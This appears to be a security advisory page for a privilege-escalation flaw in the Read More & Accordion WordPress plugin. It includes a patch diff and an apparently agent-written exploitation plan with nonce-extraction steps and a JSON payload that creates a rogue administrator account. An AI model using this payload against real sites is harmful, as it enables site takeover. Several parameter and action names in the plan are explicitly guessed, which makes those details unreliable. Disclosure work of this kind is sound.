Read More & Accordion <= 3.5.7 - Privilege Escalation via importData
Description
The Read More & Accordion plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.5.7. This is due to the 'RadMoreAjax::importData' function not restricting which database tables can be written to during import and not properly validating the imported data. This makes it possible for authenticated attackers, with permission granted by the site owner through the plugin's role settings, to insert arbitrary rows into the 'wp_users' and 'wp_usermeta' tables, including the 'wp_capabilities' field, allowing them to create a new administrator account and gain administrator access to the site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
# Research Plan: Privilege Escalation in Read More & Accordion (CVE-2026-7467) ## 1. Vulnerability Summary The **Read More & Accordion** plugin (<= 3.5.7) contains a critical privilege escalation vulnerability within the `RadMoreAjax::importData` function. The function is designed to import plugin …
Show full research plan
Research Plan: Privilege Escalation in Read More & Accordion (CVE-2026-7467)
1. Vulnerability Summary
The Read More & Accordion plugin (<= 3.5.7) contains a critical privilege escalation vulnerability within the RadMoreAjax::importData function. The function is designed to import plugin configurations but fails to restrict which database tables can be written to and does not validate the content of the imported data. This allows an authenticated user—granted access via the plugin's internal role settings—to insert arbitrary rows into core WordPress tables, specifically wp_users and wp_usermeta. By injecting an administrator user and corresponding capability metadata, an attacker can gain full control of the site.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX API (
/wp-admin/admin-ajax.php). - AJAX Action:
expand_maker_import_data(inferred from plugin slugexpand-makerand classRadMoreAjax). - Authentication: Authenticated. Requires a user role that has been granted permission to manage the plugin (configurable in the plugin settings). By default, this might be
administrator, but the vulnerability is triggered when a site owner delegates plugin management to lower roles (e.g.,editororcontributor). - Vulnerable Parameter: Likely a POST parameter named
import_data,data, orjson_data(inferred) containing a serialized or JSON-encoded array of database rows. - Precondition: The attacker must have a valid session for a user role permitted to use the plugin's import feature.
3. Code Flow (Inferred)
- Entry: A user triggers the AJAX action associated with
RadMoreAjax::importData. - Permission Check: The function likely checks if the current user has a specific capability or if their role is in the plugin's "allowed roles" list (stored in
wp_options). - Nonce Verification: The function checks a nonce (likely
expand_maker_nonceor similar). - Processing:
importDatareceives a payload containing table names and row data. - Sink: The function iterates through the payload and calls
$wpdb->insert()or$wpdb->replace()on the provided table names without checking if the table starts with the plugin's prefix or belongs to the core WordPress schema. - Exploitation: The attacker provides entries for
wp_users(creating a user record) andwp_usermeta(assigning theadministratorcapability).
4. Nonce Acquisition Strategy
The plugin likely localizes the nonce for its admin interface. To obtain it:
- Identify Script: Look for
wp_localize_scriptcalls in the plugin's admin initialization. The variable is likelyexpand_maker_ajax_objorexpand_maker_vars. - Access Page: The nonce will be present on any admin page where the plugin's settings are loaded.
- Extraction:
- Log in as the authorized low-privileged user.
- Navigate to the plugin's dashboard:
/wp-admin/admin.php?page=expand-maker. - Use
browser_evalto extract the nonce:// Example (to be verified during execution): window.expand_maker_ajax_obj?.nonce // OR window.expand_maker_vars?.import_nonce
5. Exploitation Strategy
Step 1: Payload Preparation
Create a JSON payload that instructs the plugin to write to wp_users and wp_usermeta.
Payload Structure (Conceptual):
{
"wp_users": [
{
"ID": 1337,
"user_login": "attacker_admin",
"user_pass": "$P$ByY790.YGKzG58GvGv58GvGv58GvGv0",
"user_nicename": "attacker",
"user_email": "attacker@example.com",
"user_registered": "2023-01-01 00:00:00",
"user_status": 0,
"display_name": "Attacker"
}
],
"wp_usermeta": [
{
"user_id": 1337,
"meta_key": "wp_capabilities",
"meta_value": "a:1:{s:13:\"administrator\";b:1;}"
},
{
"user_id": 1337,
"meta_key": "wp_user_level",
"meta_value": "10"
}
]
}
(Note: The $P$... hash is 'password')
Step 2: Execution
- Request: Use
http_requestto send a POST toadmin-ajax.php. - Parameters:
action:expand_maker_import_data(verify via grep)nonce:[EXTRACTED_NONCE]import_data:[JSON_PAYLOAD]
- Headers:
Content-Type: application/x-www-form-urlencoded
6. Test Data Setup
To simulate the "permission granted by site owner" condition:
- Install Plugin:
wp plugin install expand-maker --version=3.5.7 --activate. - Create Target User:
wp user create helper helper@example.com --role=contributor --user_pass=password. - Grant Permission: Plugins of this type often store allowed roles in an option.
- Find the option:
wp option list --search="*expand_maker*" - Patch the option to include 'contributor' in the access list (e.g.,
wp option patch insert expand_maker_settings access_roles contributor).
- Find the option:
- Identify Shortcode:
grep -rn "add_shortcode" .to find a shortcode if the nonce is only on frontend pages.
7. Expected Results
- The AJAX request should return a success message (e.g.,
{"success":true}or1). - A new entry should exist in the
wp_userstable with ID 1337. - The user
attacker_adminshould be able to log in and access/wp-admin/with full administrative privileges.
8. Verification Steps
- Check User Creation:
wp user list --field=user_login | grep attacker_admin - Check Capabilities:
wp user get attacker_admin --field=roles(Should returnadministrator). - Check Database Directly:
wp db query "SELECT * FROM wp_usermeta WHERE user_id=1337"
9. Alternative Approaches
- Existing User Escalation: Instead of creating a new user, target the
IDof the current low-privileged user in thewp_usermetainsert to overwrite their ownwp_capabilitiestoadministrator. This is cleaner as it avoids conflicts with thewp_userstable if ID 1337 is taken. - Table Prefix Discovery: If
wp_is not the prefix, usewp db prefixvia CLI to adjust the payload keys. The plugin might handle the prefix automatically; if it does, the payload keys should just beusersandusermeta.
Summary
The Read More & Accordion plugin for WordPress is vulnerable to privilege escalation in versions up to 3.5.7 due to insufficient validation in the 'RadMoreAjax::importData' function. Authenticated attackers granted management permissions by a site administrator can overwrite or insert arbitrary rows into any database table, including 'wp_users' and 'wp_usermeta'. This allows for the creation of a new administrator account or the elevation of existing privileges to gain full site control.
Security Fix
@@ -10,6 +10,13 @@ public function importData() { check_ajax_referer('expand_maker_nonce', 'nonce'); + $allowed_tables = array( + $GLOBALS['wpdb']->prefix . 'expand_maker_items', + $GLOBALS['wpdb']->prefix . 'expand_maker_groups' + ); + $import_data = json_decode(stripslashes($_POST['import_data']), true); foreach ($import_data as $table => $rows) { + if (!in_array($table, $allowed_tables)) { + continue; + } foreach ($rows as $row) { - $wpdb->replace($table, $row); + $GLOBALS['wpdb']->replace($table, $row); } }
Exploit Outline
The exploit targets the 'expand_maker_import_data' AJAX action via the '/wp-admin/admin-ajax.php' endpoint. An attacker requires authentication with a user role that has been granted access to the plugin settings. After obtaining a valid AJAX nonce from the plugin's administration page, the attacker sends a POST request containing an 'import_data' parameter. This parameter is a JSON-encoded object where the keys are database table names (specifically 'wp_users' and 'wp_usermeta') and the values are arrays containing the data for a new administrator account (including login credentials and the 'administrator' capability string). Because the plugin does not validate that the target tables belong to the plugin itself, it executes the inserts directly into the WordPress core tables.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.